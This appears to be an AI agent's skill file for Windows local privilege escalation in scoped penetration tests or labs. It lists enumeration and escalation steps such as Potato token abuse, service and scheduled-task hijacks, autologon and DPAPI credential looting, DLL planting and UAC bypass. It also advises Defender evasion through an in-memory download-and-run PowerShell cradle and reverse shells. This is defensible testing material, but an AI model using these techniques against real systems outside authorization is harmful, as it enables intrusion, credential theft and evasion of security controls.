Hunt: Windows (local privilege escalation)

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Scope of this skill vs hunt-ad: this is LOCAL privesc on ONE Windows host - a standalone/workgroup box, or getting from a low-priv user to SYSTEM on a domain member. DOMAIN escalation (user enum, AS-REP/Kerberoast, delegation, ADCS, DCSync, BloodHound) is Skill(hunt-ad). Tell them apart from the SMB/enum banner: a single-label domain: that equals the hostname (e.g. domain:PRIVESC) or WORKGROUP = standalone -> this skill; a dotted FQDN realm (domain:corp.local) or a DC (kerberos/88) = AD -> hunt-ad. On a domain member both can apply (local SYSTEM here, domain moves there).

Wiki

qmd_query "Windows local privilege escalation service misconfig unquoted path SeImpersonate potato AlwaysInstallElevated autologon scheduled task DLL hijack UAC bypass" via wiki-search MCP

Primary page: [[windows-privesc]] (the full checklist + commands + Defender-evasion-at-the-loader). Enumeration: [[windows-enumeration]]. Kernel-LPE / Potato fallback arsenal: [[privesc-exploit-arsenal]]. Tool anchor: [[netexec]] (the full nxc map). Even on a standalone box nxc is the remote-side workhorse: --local-auth credential checks across the subnet, --shares/--dir/-M spider_plus, --sam/--lsa/--dpapi looting, -M enum_av before you drop a payload, --tasklist/--qwinsta instead of noisy -x equivalents, and the loot modules (winscp, putty, rdcman, mremoteng, keepass, notepad, eventlog_creds) that beat manual hunting for stored creds.

Exec channel (read this before driving a shell)

Windows footholds are usually RDP or a reverse shell, rarely WinRM (unless the user is in Remote Management Users). Drive a PowerShell reverse shell with bash scripts/win-rsh.sh <eng> '<one command>' and follow docs/shell-interaction.md: ONE command per call, NO injected markers, type $env:/$_ plainly (it escapes for the bridge). RDP-only, non-admin, non-WinRM user -> headless xfreerdp + an in-memory PS cradle (see [[network-services]]). Defender is often live: a dropped RunasCs.exe/winPEASx64.exe gets quarantined - deliver in-memory (IEX(New-Object Net.WebClient).DownloadString(...)), or a freshly-compiled (unsigned-but-unknown) stager, or a Microsoft-signed tool (accesschk). Solve evasion once at the loader ([[windows-privesc]]).

Methodology

1. Enumerate first - tool then manual. Run Skill(arsenal) to pick the tool, then winPEAS / PrivescCheck.ps1 (in-memory if Defender is live). Read [[windows-enumeration]]. Then walk the manual checklist below - the intended path is almost always ONE of these, and a limited/service token may be blind to WMI so cross-check from an earlier shell in the chain.
2. Token privileges - whoami /priv. SeImpersonate / SeAssignPrimaryToken (common on service accounts: IIS/MSSQL) -> Potato (PrintSpoofer/GodPotato/RoguePotato) -> SYSTEM. SeBackup/SeRestore -> read SAM/SYSTEM hives. SeDebug -> inject into a SYSTEM process. If SeImpersonate is ABSENT, do NOT stop - it is a deliberate block; go to the other vectors.
3. Services - sc qc <svc> / Get-CimInstance Win32_Service. Weak service DACL (accesschk -uwcqv <user> * -> sc config binPath=), writable service binary (icacls shows Everyone/Users/you with (F)/(M) -> overwrite + sc start; runs as the service account), unquoted service path with a writable dir, or a writable HKLM\SYSTEM\CurrentControlSet\Services\<svc> ImagePath.
4. Registry autologon creds - reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -> DefaultUserName/DefaultPassword when AutoAdminLogon=1. Reuse the recovered cred (runas / RDP / Start-Process -Credential).
5. Scheduled tasks - schtasks /query /fo LIST /v; a task running as SYSTEM whose action binary OR a script it runs (.bat/.ps1) is writable = overwrite + wait for/trigger the task. Note the wrapper case (cmd /c script.bat) that icacls on the "Task To Run" misses.
6. Writable-file sweep (last resort when 2-5 are dry) - accesschk.exe /accepteula -uwqs <user> C:\ (files) and -uwdqs <user> C:\ (dirs). A writable script/binary under C:\Windows\Tasks, C:\ProgramData, or a program dir that a SYSTEM process/task runs is a direct SYSTEM foothold. See [[windows-privesc]].
7. AlwaysInstallElevated - both reg query HKLM\...\Installer /v AlwaysInstallElevated AND HKCU = 0x1 -> a crafted .msi installs as SYSTEM.
8. DLL hijack - a service/SYSTEM process loading a DLL from a writable dir in its search path (writable PATH entry or app dir) -> plant the DLL.
9. Credential loot - cmdkey /list (+ runas /savecred), Credential Manager / DPAPI, unattend.xml/sysprep.inf, PowerShell history, config/.kdbx, registry. Reuse across users/services before hunting new ones.
10. UAC bypass - admin-but-medium-integrity -> a fodhelper/other auto-elevate bypass to high integrity (see [[windows-privesc]]).

Distill a confirmed reusable technique per hunt-core: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page cheatsheets/windows-privesc.md.

Confirmation gate

Windows-local specific; adds to the hunt-core gate.

NOT confirmation: a writable service binary / AlwaysInstallElevated key / SeImpersonate in the token / an unquoted path - these are conditions, not a demonstrated escalation. A reflected whoami that returns root/kali or your attacker host is the false-RCE trap (a dead reverse shell fell back to the attacker box) - re-pop, do not claim it (win-rsh flags this).

IS confirmation: you actually ran code / read a file AS the higher principal and proved it - a shell or command whose whoami returns the service account / nt authority\system (from the TARGET, re-verified), the protected file read, the SYSTEM flag captured - reproduced from your own written steps in a clean session.

Severity

Severity	Class
CRITICAL	SYSTEM / local Administrator code exec
HIGH	escalation to another privileged local user / service account, SAM+SYSTEM hive dump
MEDIUM	limited token/privilege gain, a cred that only reuses laterally